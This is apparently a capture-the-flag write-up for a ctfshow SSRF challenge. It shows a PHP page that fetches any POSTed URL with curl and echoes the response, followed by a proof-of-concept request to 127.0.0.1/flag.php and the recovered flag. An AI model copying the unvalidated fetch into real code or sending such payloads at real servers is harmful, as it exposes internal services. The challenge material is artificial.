nginx/1.18.0PHP/7.3.22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
poc
# POST
url=http://127.0.0.1/flag.php
flag
ctfshow{d1d291d6-1180-4f20-88ee-237effe99fb5}